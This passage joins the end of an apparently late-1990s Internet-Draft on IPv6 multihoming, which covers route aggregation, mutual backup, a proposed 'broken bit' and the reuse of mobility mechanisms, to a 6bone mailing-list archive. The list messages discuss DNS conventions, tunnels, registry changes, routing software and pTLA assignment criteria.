   the aggregatable addressing and routing scheme. A routing domain is
   multihomed when it uses two or more providers of the upper level. Most
   of these issues are not specific to IPv6 but are consequences of the
   addressing and routing scheme.

1. Introduction

   The aggregatable addressing and routing scheme [AGGR] defines an IPv6
   aggregatable global unicast address format for use in the Internet and
   the associated routing.

   The address assignment and allocation mechanism is fully hierarchical,
   a prefix of a given level (ie. of a given length) denotes all the
   destinations in the prefix ie. aggregates them. The customers of an
   Internet service provider are in its prefix (as a consequence a
   multihomed routing domain has several prefixes).

   The routing is standard datagram routing, hop by hop, on destination
   address only (as in IPv4). But it is a prefix routing, ie. forwarding
   decisions are based on a "longest prefix match" algorithm on arbitrary
   bit boundaries without any knowledge of the internal structure of
   addresses.



   When there are two routes for the same prefix with the same length then
   the best is caught for the inter-domain routing protocol [BGP]:

      o policy rules;

      o shortest path, the path being the list of routing domains to cross;

      o protocol metric.


   The aggregation idea is the bet that in most of the cases a
   single-homed Internet service provider at a given level should know
   (ie. has routes to) only:

      o its upper provider (ie. a shorter prefix, used as a default)
        if it is not a top-level provider;

      o its customers (ie. longer routes in its prefix);

      o some routes to other customers of its upper provider (ie.
        sibling prefixes, at the same level).

   With addresses this gives (with P1:P2/x for the concatenation of prefixes
   P1 and P2 with the length x):

      o T/t for the upper provider;

      o T:P/t+p for the provider itself;

      o T:P1/t+p1, T:P2/t+p2, ..., T:Pn/t+pn for siblings;

      o T:P:C1/t+p+c1, T:P:C2/t+p+c2, ..., T:P:Cn/t+p+cn for customers.

   The routing information for siblings is only needed for top-level
   providers. For an other provider it is only an optimization
   (ie. a backdoor) because any destination, including sibling, not
   in its own prefix, is reachable through the upper provider.

   Usual routing exchanges for P at prefix T:P/t+p are:

      o from the upper provider the route to T/t which can be used as
        a default (ie. <>/0);

      o from a customer the route to T:P:C/t+p+c;

      o from a sibling the route to T:Q/t+q;

      o to anybody the route for T:P/t+p (and nothing else).



   The scheme is with arrows for route (and traffic) exchange:

                        +-----+
    Upper Level         |  T  |
                        +-----+
                         |   ^
                     T/t |   | T:P/t+p
                         V   |
                       +-------+                   +-----+
                       |       |------ T:P/t+p --->|     |
    Siblings           |   P   |                   |  Q  |
                       |       |<---- T:Q/t+q -----|     |
                       +-------+                   +-----+
                        ^ | ^ |
                        | | | |
                        | | | +-------- T:P/t+p ----+
                        | | |                       |
                        | | +---- T:P:Cn/t+p+cn --+ |
                        | |                       | |
          T:P:C1/t+p+c1 | |                       | |
                        | | T:P/t+p               | |
                        | V                       | V
                      +-----+                   +-----+
                      |     |                   |     |
     Customers        | C 1 |                   | C n |
                      |     |                   |     |
                      +-----+                   +-----+

   The aggregation is shown by the fact one announces only the route
   to its own "aggregated" prefix and masks routes to longer prefixes.
   Upper levels should not know the details of lower levels, this
   transparency property should be kept.

   A top-level provider has no upper provider (ie. no default) and must
   exchange routes with all the other top-level providers (ie. full
   routing with its siblings is mandatory). In order to avoid routing
   table explosion, the length of top-level prefixes is bounded
   (therefore the number of top-level providers is bounded too).

2. Multihomed Routing Domains

   A multihomed routing domain has more than one provider then it has
   more than one prefix (usually a prefix per provider).

   There are several reasons to be multihomed:



    o the "two coasts" case where the routing domain is split into
      sub-domains in different locations, each domain using a local
      provider:

                +-----+                +-----+
                |     |                |     |
                | T w |                | T e |
                |     |                |     |
                +-----+                +-----+
                  ^ |                    ^ |
                  | |                    | |
        +---------|-|--------------------|-|--------+
        | S       | V                    | V        |
        |       +-----+                +-----+      |
        |       |     |--------------->|     |      |
        |       | S w |                | S e |      |
        |       |     |<---------------|     |      |
        |       +-----+                +-----+      |
        |                                           |
        +-------------------------------------------+

      But in fact this comes down to two routing domains with a backdoor
      between them. The extra routes can be hidden and there is no
      further matter.

    o reliable service: to be able to use another provider in
      case of a connectivity problem. Of course the purpose
      is to limit trouble to the only case when all the
      providers fail (and NOT when at least one fails!).


                +-----+                +-----+
                |     |                |     |
                | T 1 |                | T 2 |
                |     |                |     |
                +-----+                +-----+
                  ^ |                    ^ |
                  | |                    | |
                  | +--------+  +--------+ |
                  |          |  |          |
                  +--------+ |  | +--------+
                           | |  | |
                           | V  | V
                          +--------+
                          |        |
                          |   S    |
                          |        |
                          +--------+



      A given host of a such routing domain may (and should if
      reliable connectivity is needed) have two different addresses,
      one for each prefix (T1:S1:H in T1:S1/t1+s1 and T2:S2:H in
      T2:S2/t2+s2).

      This document mainly covers this case.

3. The Transparency Issue

   If a domain prefix is announced at an upper level, it has to be
   announced to this whole level.



          ^ A/x                   ^ B/x and A:S/x+y
          |                       |
        +-----+                +-----+
        |     |                |     |
        |  A  |                |  B  |
        |     |                |     |
        +-----+                +-----+
          ^ |                    ^ |
          | |                    | |
          | +--------+  +--------+ |
          |          |  |          |
          +--------+ |  | +--------+
                   | |  | |
                   | V  | V
                  +--------+
                  |        |
                  |   S    |
                  |        |
                  +--------+

   If the provider B tries to announce the prefix A:S/x+y in order to be
   able to route the traffic for S with both prefixes A:S/x+y and B:S/x+y
   then B will catch the whole traffic for S because the prefix A:S/x+y
   is longer than the prefix A/x (x+y > x) so it is a better match...

   In this case the only solution is that both A and B announce routes to
   prefixes A:S/x+y and B:S/x+y which breaks the transparency property and
   obviously does not scale.

4. Mutual Backup

   There is a case where the transparency property is kept, routing
   is as reliable as possible and is optimal in almost all the cases.




          ^ A/x and B/x           ^ B/x and A/x
          |                       |
        +-----+                +-----+
        |     |------ A/x ---->|     |
        |  A  |                |  B  |
        |     |<------ B/x ----|     |
        +-----+                +-----+
          ^ |            B:S/x+y ^ |
          | |            A:S/x+y | |
          | +-- A/x -+  +--------+ |
          |          |  |          |
          +--------+ |  | +- B/x --+
       A:S/x+y     | |  | |
       B:S/x+y     | V  | V
                  +--------+
                  |        |
                  |   S    |
                  |        |
                  +--------+

   For a provider T in an upper level or the same one than providers A
   and B, routes for the prefix A/x are not equivalent because the prefix
   A/x announced by A is direct (one element (A) in the path) and the
   prefix A/x announced by B is indirect (two elements (B and A) in the
   path). Then traffic for A will go to A directly. The same thing
   applies for B.

   The prefix A:S/x+y is longer (ie. better) than the prefix A/x then
   for A the whole traffic for S will go directly, same for B.

   S has routes for A/x and B/x and can use any provider for other
   destinations. The choice of the provider is managed by internal policy
   rules, in order to avoid asymmetrical routing the source address
   selection should be coherent with the policy. Usually S managers
   ask for routes to upper levels up to the first common upper provider.

   If the path through A is not available then the whole traffic for S,
   including the one to or from addresses in the prefix A:S/x+y will go
   through B.

   This case supposes a mutual backup agreement between A and B which
   can be the case if A and B are not in competition, for instance A is a
   mission provider and B a geographical one. But it is a real constraint...

   This still works if announces between A and B do not carry full
   prefixes (but they should include (ie. be shorter than) the prefix
   *:S/x+y). The backup will work only for a part of A and B (with a dark
   hole in case of failure for customers not implied in the backup
   agreement). Unfortunately this does not work in more complex cases:




          ^ A/x and B/x             ^ B/x, A/x and C/x       ^ C/x and B/x
          |                         |                        |
        +-----+                +--------+                +-----+
        |     |--- A:S/x+y --->|        |--- B:R/x+y --->|     |
        |  A  |                |    B   |                |  C  |
        |     |<--- B:S/x+y ---|        |<--- C:R/x+y ---|     |
        +-----+                +--------+                +-----+
          ^ |            B:S/x+y ^ | ^ |            C:R/x+y ^ |
          | |            A:S/x+y | | | |            B:R/x+y | |
          | +-- A/x -+  +--------+ | | +-- B/x -+  +--------+ |
          |          |  |          | |          |  |          |
          +--------+ |  | +- B/x --+ +--------+ |  | +- C/x --+
       A:S/x+y     | |  | |           B:R/x+y | |  | |
       B:S/x+y     | V  | V           C:R/x+y | V  | V
                  +--------+                 +--------+
                  |        |                 |        |
                  |   S    |                 |    R   |
                  |        |                 |        |
                  +--------+                 +--------+

   The backup is not transitive in this case, if something goes wrong
   in the B path for S the traffic can try to cross C which knows nothing
   about S and will drop packets...

5. Broken Bit

   
   Consider the standard multihomed case when a link is broken:

                +-----+                +-----+
                |     |                |     |
                |  A  |                |  B  |
                |     |                |     |
                +-----+                +-----+
                  ^ |             X      ^ |
                  | |              X     | |
                  | +--------+  +---X----+ |
                  |          |  |    X     |
                  +--------+ |  | +---X----+
                           | |  | |    X
                           | V  | V     X
                          +--------+
                          |        |
                          |   S    |
                          |        |
                          +--------+
  


   If we look inside the routing domain S:

                +-----+                   +-----+
                |     |                   |     |
                |  A  |                   |  B  |
                |     |                   |     |
                +-----+                   +-----+
   +---+          ^ |                X      ^ |
   | X |          | |                 X     | |
   +---+          | +--------+     +---X----+ |
                  |          |     |    X     |
                  +--------+ |     | +---X----+
                           | |     | |    X
                           | V     | V     X
                         +----+   +----+
                    +----| RA |---| RB |----+
                    |    +----+   +----+    |
                    |      |         |      |
                    | -------------------   |
                    |           |           |
                    |         +---+         |
                    |         | R |         |
                    |         +---+         |
                    |           |           |
                    |       -------         |
                    |        |              |
                    |      +---+            |
                    |      | H |            |
                    | S    +---+            |
                    |                       |
                    +-----------------------+

   The host H has two addresses, A:S:H and B:S:H, and the path through B
   is broken.

   An external host X will use A:S:H because B:S:H does not work. The DNS
   will return both addresses but the applications should try all of them
   (on BSD 4.4 derived Unixes we have found only one standard application
   trying only the first returned address). We can try to play on address
   order in the DNS but the DNS caching mechanism makes this difficult
   (but it is not necessary). In conclusion new connections from X to H
   will work.

   For new connections from H to X the problem is to force the choice of
   the good source address (A:S:H) by H. The proposal is to add a "broken
   bit" in prefix information in router advertisement in order to inform
   nodes that addresses in a given prefix should not be used. The border
   router RB knows there is a problem and should send this information to
   all the routers of S using for instance the router renumbering
   protocol.

   The last case, existing (ie. established before the failure) connections
   between H (using B:S:H) and X are dealt with in the next section.



6. Use Of Mobility Mechanisms

   The idea is to use some mechanisms of IPv6 mobility [MOB] (home
   address and binding update but not home-agent nor (in fact) true
   mobility) in order to make critical connections resilient to provider
   failures.

                                     +---+
                  aaaaaaaaaaaaaaaaaaa| X |
                  a                  +---+
                  a                    b
                  a                    b
                +-----+                b +-----+
                |     |                b |     |
                |  A  |                bb|  B  |
                |     |                  |     |
                +-----+                  +-----+
                  ^ |               X      ^ |
                  | |                X     | |
                  | +--------+    +---X----+ |
                  |          |    |    X     |
                  +--------+ |    | +---X----+
                           | |    | |    X
                           | V    | V     X
                        +--------------+
                        |   a      b   |
                        |   a      b   |
                        |   a      b   |
                        |   a      b   |
                        |   a    +---+ |
                        |   aaaaa| H | |
                        |        +---+ |
                        | S            |
                        +--------------+

   There is a connection between H and X (using addresses B:S:H and X)
   with a security association for authentication (necessary for mobility
   and not a real constraint for a critical connection because it is easy
   to mess an unauthentic connection, for instance with junk RST TCP
   packets).

   After the (used) path through B fails, the broken bit is set in the
   prefix B:S information in router advertisements then H is informed of
   the problem.

   H uses a home address B:S:H destination option in each packet for
   X in order to use A:S:H as the source address: for each router the
   source is in A's prefix and only X replaces the source address by
   B:S:H before looking up the PCB of the connection.



   H sends a binding update with A:S:H as the care-of address to X in a
   packet with an Authentication Header. X receives and processes it,
   sends a binding acknowledgement and uses a routing header with A:S:H
   as the (first) destination and B:S:H as the final destination.

   Summary:

     o packets from H to X:
        source = A:S:H
        destination = X
        home-address = B:S:H
        binding-update (in first packets, should be acknowledged):
            care-of = A:S:H

     o packets from X to H:
        source = X
        destination = A:S:H
        routing-header: one address = B:S:H

   While X must implement the full mobile correspondent node operation,
   H must implement only the binding management (no movement
   detection, no new care-of address acquisition, no operation with a
   home agent). In fact H does not move, it only changes its address
   choice.

7. Security Considerations

   A better reliability in Internet connectivity can only improve
   security. Critical connection should be authenticated and binding
   updates must be carried in authenticated packets (see [MOB] for the
   discussion). IPSEC is mandatory for compliant IPv6 implementations.

8. ACKNOWLEDGEMENTS

   All these ideas were discussed or found at the 40th IETF meeting at
   Washington during lunch-time 6bone BOFs. The transparency issue was
   well-known (and presented by XXX). The mutual backup scheme was built
   by the author for a regional/organization dual-homing at a G6 meeting.
   The non-transitive issue was presented by Alain Durand. The
   diversion of mobility mechanisms appeared in the discussion between
   the author and Matt Crawford who proposed the broken bit.

9. References

   [AGGR] Hinden, R., O'Dell, M. and Deering, S., "An IPv6
          Aggregatable Global Unicast Address Format", Internet
          Draft, <draft-ietf-ipngwg-unicast-aggr-02.txt>, July 1997.

   [BGP] Rekhter, Y. and Li, T. "A Border Gateway Protocol 4 (BGP-4)",
         RFC 1771, cisco Systems, March 1995.



   [MOB] Johnson, D. B., Perkins, C., "Mobility Support in IPv6",
         Internet Draft, <draft-ietf-mobileip-ipv6-04.txt>, November 1997.

Author's Address

   Francis Dupont
   GIE DYADE
   INRIA Rocquencourt
   Domaine de Voluceau
   B.P. 105
   78153 Le Chesnay CEDEX
   FRANCE

   Fax: +33 1 39 63 55 66
   EMail: Francis.Dupont@inria.fr

From 6bone-owner  Mon Jan 26 15:32:43 1998
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From: "Peter Curran" <pcurran@ticl.co.uk>
To: "Bob Fink" <RLFink@lbl.gov>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: Re: v4 given v6
Date: Mon, 26 Jan 1998 23:42:32 -0000
Message-ID: <01bd2ab4$126523e0$0f0120c1@desktop.ticl.co.uk>
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Bob


>Might it be a good time to try to go away from this convention (i.e., a
>separate ipv6 subdomain)?
>
>As we try more and more to act like a real dual v4/v6 environment it would
>be best to not do this.
>
>Can advocates of maintaining this convention please state their reasons for
>this to the list?
>


The original reason for adopting this convention (as I think is mentioned in
an item on the web site) is that it gets around the problem of older DNS
implementations that may not have support for AAAA.

In practice I think that there are a couple of good reasons to maintain the
convention.  One has been given by Bertran Buclin (i.e. not mixing
'experimental' and 'production' environments).

My reason is equally practical:

I have a number of v6 systems.  Not all of them are dual-stacked.  On some
of the dual-stacked systems, not all of the services have been ported to v6.

If I have a dual-stack client then I need some way to discriminate between a
v4-only app, a v6-only app and a v4/v6 app.  The mapIPv6 resolver option
doesn't help me here - it is an all or nothing solution.  If I want to
access a service on a v4/v6 node and I know the service is v4-only than I
can specify the 'regular' name and as an A record is retreived then I can
successfully access the service.  Conversely, if I know the service is
v6-only or v4/v6 then I specifiy the ipv6 subdomain and I get an AAAA
record.

So, I think that the concept of a parallel IPv6 domain has some continuing
value for me until all of my applications are bilingual.

My 2p

Peter Curran
TICL/UK




From 6bone-owner  Mon Jan 26 15:33:44 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'Jack McCann'" <mccann@zk3.dec.com>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: automatic tunnels?
Date: Mon, 26 Jan 1998 15:33:28 -0800
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Thanks, I was able to ping both addresses.

Although I notice that the route (for the aggregatable address) goes through
5f00:1000:0:10:b::1 - I thought the 6bone was no longer using the old-style
addresses?

> -----Original Message-----
> From:	Jack McCann [SMTP:mccann@zk3.dec.com]
> Sent:	Friday, January 23, 1998 7:45 AM
> To:	6bone@ISI.EDU; mccann@zk3.dec.com; Richard Draves
> Subject:	Re:  automatic tunnels?
> 
> 
> >> Does anyone out there support automatic tunnels?
> >
> >Try ::206.152.163.3 (sipper.zk3-x.dec.com).  The IPv6 address is 
> >3ffe:1200:2002:1000:200:f8ff:fe23::6972 (sipper6.ipv6.zk3-x.dec.com).
>                                           ^^^^^^^
> Sorry, that should be:                     sipper.ipv6.zk3-x.dec.com
> 
> - Jack

From 6bone-owner  Mon Jan 26 15:43:20 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: finding automatic tunnels
Date: Mon, 26 Jan 1998 15:42:33 -0800
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> >The initial question was about how to find automatic tunnel end-points.
> >Even if one find which is the Ipv4 address of my boxes, that does not
> >mean that I am ready to offer an automatic tunnel on those. Actually, on
> >almost all my systems, automatic tunnelling is disabled.
> 
	[Richard Draves]  Why are people disabling automatic tunneling?

> >What might be of better use would be to have a new application code for
> >the registry letting people know the IPv4 address of systems accepting
> >auto-tunnels (After all, tunnels are also a sort of application).
> >Something like:
> >
> >application: Auto-Tunnel ::a.b.c.d
> >
> >or
> >
> >application: Auto-Tunnel domain.name
> >
> >provided there is a AAAA (or whatever will replace them) for domain.name
> >translating to ::a.b.c.d
> 
> I can't evaluate the value of doing this, so would prefer others comment,
> but if there is a use in doing this we can ask David Kessens to add it.
> 
	[Richard Draves]  I don't have any opinions on the specific
proposal, but I think it would be valuable for testing purposes to have
something in the registry that points out sites that support automatic
tunnels. Especially if it's not widely supported.

	Rich   

From 6bone-owner  Tue Jan 27 14:01:00 1998
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Subject: Re: v4 given v6
To: crawdad@fnal.gov (Matt Crawford)
Date: Tue, 27 Jan 1998 13:59:15 -0800 (PST)
Cc: richdr@microsoft.com, 6bone@ISI.EDU
In-Reply-To: <199801222318.RAA08487@gungnir.fnal.gov> from "Matt Crawford" at Jan 22, 98 05:18:46 pm
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> 
> > Given a 6bone node's v6 address, what's the best way to find a v4 address
> > for the node (if it has one)?
> 
> I would look up the PTR record in ip6.int, then look up the A record
> for that name.  However, there are some obstacles:
> 
> 	The ip6.int is often not well-maintained.  We knew about this
> 	problem from the git-go.
> 
> 	Some people are naming their IPv6 nodes in a separate
> 	subdomain, maybe because their regular DNS servers don't
> 	support AAAA records.

Hum..

ip6.int

total zones	successful	no-zone	other  %accurate
252		149		103	0	59.1%

e.f.f.3.ip6.int. only

total zones     successful      no-zone other  %accurate
139		92		47	0	66.1%

For the e.f.f.3.ip6.int. tree, of the no-zone failures,
	
total 	  firewalled
failures  refused 	no server	other
47	  26		18		3

Compare that with the last data on the IPv4 inverse tree of
just over 57% accurate.

I need to go off and compare the IPM stats vs Tony Bates 
prefix lists and get a stability metric for the routing
system.  I expect it is close.  To paraphrase your statement Matt,
I would say, "The routing system is often not well-maintained.
We knew about this problem from the git-go."

--bill

From 6bone-owner  Fri Jan 30 15:22:51 1998
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From: davidk@ISI.EDU
Message-Id: <199801302322.PAA02719@ra0.isi.edu>
Subject: FYI: 6BONE registry software & machine change
To: 6bone@ISI.EDU
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Hi,

Today, I changed to a new machine and new software. You might experience
some service interruptions due to this fact.

Please issue your queries directly to 'whois1.avalon.rs.net' if you find
that 'whois.6bone.net' is still pointing to the old machine. Also the web
interface at my site (http://www.isi.edu/cgi-bin/davidk/whois.pl) is
already up to date.

The copies and statistics of the registry are again available from:

ftp://whois.6bone.net/6bone/

The software is very new and will contain almost certainly quite some
bugs. Please let me know if you experience any problems and I will try to
fix them as soon as possible.

David K.
---

From 6bone-owner  Mon Feb  2 13:18:43 1998
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Date: Mon, 02 Feb 1998 13:18:10 -0800
To: "Peter Curran" <pcurran@ticl.co.uk>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: New entry for 6bone 'stats' page
Cc: 6bone@ISI.EDU
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Peter,

At 07:11 AM 1/30/98 -0800, Peter Curran wrote:
>Could you add my site to your 'statistics' page on the 6bone web site,
>please?
>
>The URL for the ping stats is
>http://www.ipv6.ticl.co.uk/pingstat/6bone-stats.html.
>
>This is available via v4 and v6.  The stats are a 6-hourly 5 ping sequence
>to each 6bone node listed in the registry.  Traceroute and registry reading
>facilities are also provided.

I have added this page to the 6bone stats page pointers.


>PS.  It is pretty incredible, looking around the various 'pingo-meters',
>that around half of the 6bone is almost permamently down :-{


 I agree about backbone connectivity, but never fear, we shall soon start
the backbone hardening :-)

I have been waiting for comments on Alain Durand's I-D on backbone routing
rules to proceed.


Thanks,

Bob

From 6bone-owner  Tue Feb  3 10:11:01 1998
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X-Mailer: exmh version 2.0zeta 7/24/97
From: Craig Labovitz <labovit@merit.edu>
To: 6bone@ISI.EDU
Subject: New Release of IPv6 Routing Software
Reply-To: labovit@merit.edu
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A new release of MRT (1.4.3A) is now available. 

This release provides significant improvements in stability and features over
earlier releases. We have also added Postscript and PDF user/programmer
documentation.

The highlights of this release includes:
  * MRTd -- a BGP4+, RIPng, and BGP4 routing daemon. The code is now
    stable and in "production" use as the 6Bone routing software at a
    number of sites. Supports Cisco Systems style configuration files with
    access-lists, route maps and a telnet command/configuration interface.
  * BGPSim -- a BGP4/BGP4+ traffic generation and simulation tool
  * SBGP -- a lightweight BGP4 tool for injecting packets and monitoring BGP4
    traffic
  * Route_BtoA/Route_AtoB -- tools for building and decoding protocol (BGP4,
    BGP4+, RIPng, RIP2) packets
  * IRRd -- A stand-alone Internet Routing Registry daemon.


More information/documentation is available at:
  http://www.merit.edu/~mrt/mrt_docs

The software is available at:
  ftp://ftp.merit.edu/net-research/mrt/mrt.tar.gz

And binaries for most major Unix platforms are available at
   ftp://ftp.merit.edu/net-research/mrt/mrt-1.4.3a-<os>.tar.gz

Send questions/comments/bugs to mrt-support@merit.edu.

Feel free to redistribute this message.

- Craig

-- 
Craig Labovitz				labovit@merit.edu
Merit Network, Inc.			http://www.merit.edu/~labovit
4251 Plymouth  Road, Suite C.		(313) 764-0252 (office)
Ann Arbor, MI 48105-2785                (313) 647-3185 (fax)



From 6bone-owner  Tue Feb  3 15:38:51 1998
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Hi, Folks,

Anyone can tell me if the 6 bone support source routing?
Thanks a lot,

Deying Tong


From 6bone-owner  Tue Feb  3 20:21:15 1998
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Date: Tue, 03 Feb 1998 23:22:34 -0600
From: Ramesh Shanmuganathan <s.ramesh-rit@ieee.org>
Subject: IP over ATM
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Hi!

I doing some research on "IP over ATM". I would appreciate any pointers to
sources or publications in this topic. How does IPv6 handle connection
oriented services such as ATM? 

Regards,

Ramesh Shanmuganathan
Rochester Institute of Technology.


From 6bone-owner  Tue Feb  3 20:41:02 1998
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Subject: Re: IP over ATM
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Date: Wed, 04 Feb 1998 13:40:33 +0900
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From: Ramesh Shanmuganathan <s.ramesh-rit@ieee.org>
Subject: IP over ATM
Date: Tue, 03 Feb 1998 23:22:34 -0600

> I doing some research on "IP over ATM". I would appreciate any pointers to
> sources or publications in this topic. How does IPv6 handle connection
> oriented services such as ATM? 

There is draft-yamamoto-ipv6-over-p2p-atm-00.txt.
----
   Yoshifumi Atarashi
                 Hitachi, Ltd. Office Systems Division

From 6bone-owner  Wed Feb  4 02:00:18 1998
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To: Ramesh Shanmuganathan <s.ramesh-rit@ieee.org>
Cc: 6bone@ISI.EDU, jork@kar.dec.com
Subject: Re: IP over ATM 
In-Reply-To: Your message of "Tue, 03 Feb 98 23:22:34 CST."
             <3.0.5.32.19980203232234.00797380@osfmail.isc.rit.edu> 
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s.ramesh-rit@ieee.org said:
> I doing some research on "IP over ATM". I would appreciate any
> pointers to sources or publications in this topic. How does IPv6
> handle connection oriented services such as ATM?  

The ION working group covers this:
draft-ietf-ion-ipv6-00.txt describes the general IPv6 over NBMA architecture,
draft-ietf-ion-ipv6-atm-00.txt is the ATM-specific companion document.

Markus



From 6bone-owner  Thu Feb  5 07:45:33 1998
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Date: Thu, 05 Feb 1998 16:44:50 +0100
From: Ana Maria Lopez Nieto <anieto@tid.es>
Organization: tid
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Subject: configured tunnel on Cisco Router
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     We are trying to configure ipv6 on a Cisco4500 router which has
2 Ethernet  and an Atm (155) interface. The software release that we
have downloaded is c4500-tsipv6-mz.1024.

The router is connected to two Sun worstations which support ipv6, one
of them through the ethernet interface and the other one through an atm
card.

The problem that we have found is that we can not make a configured
tunnel to the workstation through the atm interface because we cannot
find the commands which appear in the commands.txt file that we got
from  ftp://ftpeng.cisco.com/raj/release.

My question is if I must get another software release and where I can
find it. I would appreciate it very much if someone can give me this
information.

Thank you.

Ana Maria Lopez Nieto

 ATM Networks Division
 Telefonica I+D          C./ Emilio Vargas, 6
                         E-28043 Madrid, Spain
 mailto:anieto@tid.es     Tlf +34-1-337 47 02
                                             FAX +34-1-337 45 02


From 6bone-owner  Thu Feb  5 12:43:23 1998
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To: 6bone@ISI.EDU
Subject: Re: configured tunnel on Cisco Router 
In-reply-to: Your message of "Thu, 05 Feb 1998 16:44:50 +0100."
             <34D9DE72.A885E083@tid.es> 
X-Quote: If you consult enough experts, you can confirm any opinion.
Date: Thu, 05 Feb 1998 12:42:49 -0800
From: Richard Johnson <raj@cisco.com>
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6bone list:

The "6bone" list is not the appropriate forum for discussing cisco
ipv6 configuration and/or problems with cisco routers.  I have
responded to this person individually and clarified the appropriate
address to use.

/raj

From 6bone-owner  Fri Feb  6 08:36:38 1998
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Date: Fri, 06 Feb 1998 08:35:48 -0800
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: is the list working?
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I haven't seen anything come thru in days on the 6bone list.

Bob

From 6bone-owner  Fri Feb  6 08:40:15 1998
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Date: Fri, 06 Feb 1998 10:41:51 -0600
From: "Ing. Federico Andrade García" <fandrade@campus.mty.itesm.mx>
Organization: ITESM campus Monterrey
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Hello friends,

    I work for the Monterrey Tech in Mexico. We want to connect to the
6bone, we already have a Sun with IPv6 ready for tunnelling, and DNS 8.1
working. We just need someone to accept our connection (and give us some
help in the next steps).

    We want to start as the first IPv6 node in Mexico. If someone could
accept our connection we'd appreciate a lot.

    Regards,

    Federico

--


         ###########################################################
         ##             Ing. Federico Andrade García              ##
         ##           Coordinador de Telecomunicaciones           ##
         ##      Departamento de Telecomunicaciones y Redes       ##
         ##   Dirección de Informática / ITESM Campus Monterrey   ##
         ##       T: 52(8)358-2000x4136 / F: 52(8)328-4208        ##
         ###########################################################



From 6bone-owner  Fri Feb  6 09:56:42 1998
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Date: Fri, 06 Feb 1998 09:55:50 -0800
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: retransmit of: 6bone pTLA assignment rules
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6bone Folk,

I am increasingly finding myself in the dilemma of being asked to assign a
pTLA, and then having to decide what is/is not appropriate.  This email is
my attempt to get exposure of the issues and help in deciding an
appropriate course of action in assigning pTLAs.

Let me start by saying that the creation of pTLAs is getting
morecontentious as some believe that we should not create them so easily.
I'm also sure that all of us believe that we must start forging the 6bone
backbone into a reliable transport for ipv6 use and testing.

Having said that we (at least me) need to have some criteria for assigning
pTLAs.  I'll see if I can characterize the criteria I have been using lately.

1. Must have experience with IPv6 in the 6bone, at least as a leaf site and
preferably as an NLA transit under a pTLA.

2. Must have the ability and intent to provide "production-like" 6bone
backbone service to provide a robust and operationally reliable 6bone
backbone.

3. Must have a potential "user community" that would be served by becoming
a pTLA, e.g., the requester is a major player in a region, country or focus
of interest.

4. Must commit to abide by whatever the 6bone backbone operational rules
and policies are (currently there are no formal ones, but the Alain Durand
draft is a start in trying to define some).


To date, when I've explained the above (admittedly not so formally stated
as above) there is typically one of two results. The first is that the
requester goes away and studies more, becomes a leaf site, or forgets the
6bone, etc., that is basically doesn't persist in asking for a pTLA.  The
second is that the requester comes back with strong statements of why it is
important to them, stating that they still want a pTLA assigned.  In the
latter cases I will assign a pTLA (after all, I'm no absolute authority on
any of this).

So, having said all this, I would like to propose a change to this process.
 In particular I would like to publish the request along with the
requester's response to the above criteria, and get feedback from the 6bone
mail list (not just the other pTLAs). Then I would make the final call
based on what I think approximates "rough consensus".  

To this end I am enclosing a request for a pTLA from British Telecom Labs
(BT-LABS) and their response to these questions.  I would like responses to
the list on both the process I propose and the BT-LABS request iteself.


Thanks,

Bob

======================
From: Stuart Prevost <stuart.prevost@bt-sys.bt.co.uk> To: "'Bob Fink LBNL'"
<RLFink@lbl.gov> Subject: Request for pTLA for BT LABS/UK Date: Mon, 2 Feb
1998 15:53:45 -0000 
Dear Bob,

I am writing to request a pTLA on the 6bone, as you know we have been a 
leaf site for a year now. During this time we have gain valuable 
experience in IPv6, and have developed a large site here in the UK. We 
use Cisco routers which currently connect to NRL using BGP4+, in 
becoming a backbone site we feel that we can gain additional experience 
to the benefit of the IPv6 community. 

BT LABS has also formed links to Telenor R&D in Norway. As part of this 
work both companies have a research interest in IPv6. As part of this 

collaboration we plan to create a native IPv6 link to them using the 
JAMES ATM network. I also understand from Tony Dann who attends the 
IETF meetings this will help in the plans to build a Native IPv6 network 
this year.

If you require any additional information before issuing a pTLA please 
let me know.

Regards

Stuart

===
From: Stuart Prevost <stuart.prevost@bt-sys.bt.co.uk> To: "'Bob Fink'"
<rlfink@lbl.gov> Cc: Tony Dann <tony.dann@bt-sys.bt.co.uk> Subject: RE:
Request for pTLA for BT LABS/UK Date: Wed, 4 Feb 1998 10:23:12 -0000 

Dear Bob,

Thanks for your response, we don't mind being a test case in helping to 
resolve the issues of criteria for backbone sites. We agree that the 
6bone backbone should evolve into an appropriate infrastructure for true 
IPv6 evaluation. Therefore the response to your criteria for pTLA 
assignment is as follows.

>>1. Must have experience with IPv6 in the 6bone, at least as a leaf site and 
>preferably as an NLA transit under a pTLA.

BT LABS has been a participating in the 6bone global experiment since 
January 1997. In that time we have acted as a leaf site from NRL and 
most recently as a NLA transit site providing connectivity to the 6bone 
for Telenor R&D.

>>2. Must have the ability and intent to provide "production-like" 6bone 
>>backbone service to provide a robust and operationally reliable 6bone 
>>backbone.

BT LABS is the research arm of BT plc, which already has an ISP business 
division. We therefore have the skills to provide a "production like" 
service. We understand the value of the 6bone experiment and intend to 
actively participate in all initiatives which act to increase 
understanding of future IPv6 service issues.

>>3. Must have a potential "user community" that would be served by becoming 
>>a pTLA, e.g., the requestor is a major player in a region, country or focus 
>>of interest.

BT is a major player in Europe and therefore has a large potential user 
community.

>>4. Must commit to abide by whatever the 6bone backbone operational rules 
>>and policies are (currently there are no formal ones, but the Alain Duran 
>draft is a start in trying to define some).

We fully commit to this and welcome progress with Alain Durand draft.
Hope these answers are appropriate and we have no problem with you 
publishing this request to the list. We hope that by starting this off 
that your task will be made easier when assigning pTLA.

Regards,

Stuart

=======from the 6bone registry

ipv6-site:         BT-LABS
origin:            AS1752
descr:             Martlesham Heath
descr:             Suffolk
location:          52 03 52 N 01 17 16 E 0m
country:           GB
prefix:            3FFE:F01:2::/48
application:       ping gate.ipv6.bt.net
tunnel:            IPv6 in IPv4 gate.ipv6.bt.net -> guar.ipv6.nrl.navy.mil
NRL BGP4+
tunnel:            IPv6 in IPv4 gate.ipv6.bt.net -> gate6.lancs.ac.uk ULANC
STATIC
tunnel:            IPv6 in IPv4 gate.ipv6.bt.net -> mbone-eir.nta.no
TELENOR STATIC
